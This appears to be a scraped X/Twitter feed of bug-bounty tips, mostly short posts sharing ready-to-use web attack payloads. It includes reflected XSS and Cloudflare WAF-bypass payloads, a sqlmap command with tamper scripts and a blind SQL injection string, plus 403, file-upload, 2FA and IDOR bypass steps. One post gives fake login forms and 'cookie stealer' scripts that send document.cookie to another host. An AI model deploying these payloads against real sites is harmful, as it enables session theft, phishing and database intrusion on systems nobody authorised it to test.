Yash Lonewolf

bug bounty hunter |
elite hacker| cyber security professional | Ethical Hat
| world most powerful hacker.......!

[Yash Lonewolf @hackeryash14]

@Python_Dv 45

[M U J T A B A @thehunt3r0x1]

Bug: Reflected XSS

Payload is reflected in:
<script>window.pageType = 'test'-alert(document.cookie)-'';</script>

#BugBounty #cybersecurity

[Atul Kumar @atulkumarzz]

Are you struggling to pay a huge amount on paid courses ??

I'm giving you access to 20+ FREE Courses

1. Artificial Intelligence
2. Machine Learning
3. Cloud Computing
4. Ethical Hacking
5. Data Analytics
6. AWS Certified
7. Data Science
8. BIG DATA
9. Python
10. MBA............................Etc

To get it, just:
1. Like & Retweet
2. Comment "Free"
3. MUST be Following (so that I can dm)

[./Mr-Dark @Mr_Dark55]

Bypass waf for SQL injection :)
cloudflare

command :

sqlmap -u "https://t.co/st5htQnPMW" --dbs --batch --time-sec 10 --level 3 --hex --random-agent --tamper=space2comment,betweeny
time-based blind:

+AND+(SELECT+5140+FROM+(SELECT(SLEEP(10)))lfTO)

[VAIDIK PANDYA @h4x0r_fr34k]

Day 1 ! : .env leaked

How to find : FUZZ all Endpoints and find leaks
Wordlist : https://t.co/y3NFBY0enk

[VIEH Group @viehgroup]

[+] 403 bypass methodology !

1- using space symbols
exmaple:
/admin -> 403
/admin%09 -> 200
/admin%20 -> 200

2- use traversal
Example:
/admin -> 403
/..;/admin -> 200

you can fuzz with traversal sometimes that's end with results

Example: /..;/FUZZ

#bugbountytips

[Yash Lonewolf @hackeryash14]

@iamgk808 @Hacker0x01 which is bro? any writeups about your finding?

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

📚 Find hidden GET parameters in javascript files
Credit - By @chiraggupta8769 (@intigriti, @sratarun)

Here’s an interesting tip for finding hidden parameters by analyzing javascript files:
➡️ Scour javascript files for variable names, e.g.:
var test = "xxx"
➡️ Try each of them as a GET parameter to uncover hidden parameters, e.g.:
https://t.co/9WDqSZy2mP”xsstest

This often results in XSS!

Turns out @sratarun made this intricate one-liner generator which finds all variable names and appends them as parameters:

assetfinder https://t.co/FbmOBTsKqP | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"; done

Now we can test all these URLs and check whether we can trigger XSS with them or similar things.

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[chux @chux13786509]

Another day another bug 🔥
This time we got XSS with the following payload to bypass target's restrictions:
/><output name="result" onclick="alert('something')">chux</output>
#BugBounty #bugbountytips #Hacking

[bugcrowd @Bugcrowd]

When you find a file upload, try changing some of the file extension characters to uppercase!

❌ .php ---> .pHP ✅
❌ .php ---> .PHP ✅
❌ .php ---> .PhP ✅

[Muqsit 𝕏 @mqst_]

🦟 Malware Analysis: Writing a simple Python Script to achieve Shannon Entropy.

Blog: https://t.co/bR28099gku

#malware #infosec

[Muqsit 𝕏 @mqst_]

🤖 LLM Hacker's Handbook: A Practical Guide to LLM Hacking.

Handbook: https://t.co/QjmJGsRxVT

#infosec #llm

[xss0r @xss0r]

CloudFlare XSS Bypass
New XSS Payload, worked on many CF:

Payload: "*prompt(document.domain)*"

[Abu Maryam Rahmat @abumaryamrahmat]

Biidznillah, I was awarded a $2,500 bounty on @Hacker0x01

1. Type "amr" in the search feature
2. GET /user/api/search?keywords=amr&q=keywords
3. Change to
4. GET /user/api/[email protected]&q=email

Sensitive information about the victim was disclosed

#bugbountytips

[Yash Lonewolf @hackeryash14]

@maybe_riya python

[Yash Lonewolf @hackeryash14]

@GodfatherOrwa @XHackerx007 @Bugcrowd nice

[Yash Lonewolf @hackeryash14]

@hetmehtaa interested

[Yash Lonewolf @hackeryash14]

2fa bypass :
Open two different browsers and go to log in.
Get to the 2FA screen in one browser, entering the user’s password.
In the other browser, log in fully and change the user’s password.
In the first browser, correctly finish 2FA authentication

[X @TheMsterDoctor1]

Coffnxp payloads ;)

<A HREF="https://t.co/R2KUxQqsGd">Login Here </A>

<script>document.location.href="https://t.co/jQ2v94Cr3I"</script>

<h3>Please login to proceed</h3> <form action=https://t.co/XD0sgtkT2S>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Login"></br>

csp bypass:
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

iframe:
"><iframe src="https://t.co/x6W4M7MSec" style="border: 0; position:fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%">

<IFRAME SRC="javascript:alert(document.cookie);"></iframe>

cookie stealer:
<script>document.location='https://t.co/ZjliLVcdMm</script>

<script>new Image().src="http://localhost/cookie.php?c="+document.cookie</script>

<script>document.body.background=”https://t.co/yWbQHXFm3o“;</script>

<script>window.location=”https://t.co/gmkkMxj4Kx”;</script>

<script>document.body.bgColor=”red”;</script>

#bugbountytip #bugbountytips #hackerone #intigriti

[Yash Lonewolf @hackeryash14]

@nihad_rekany steps bro reproduce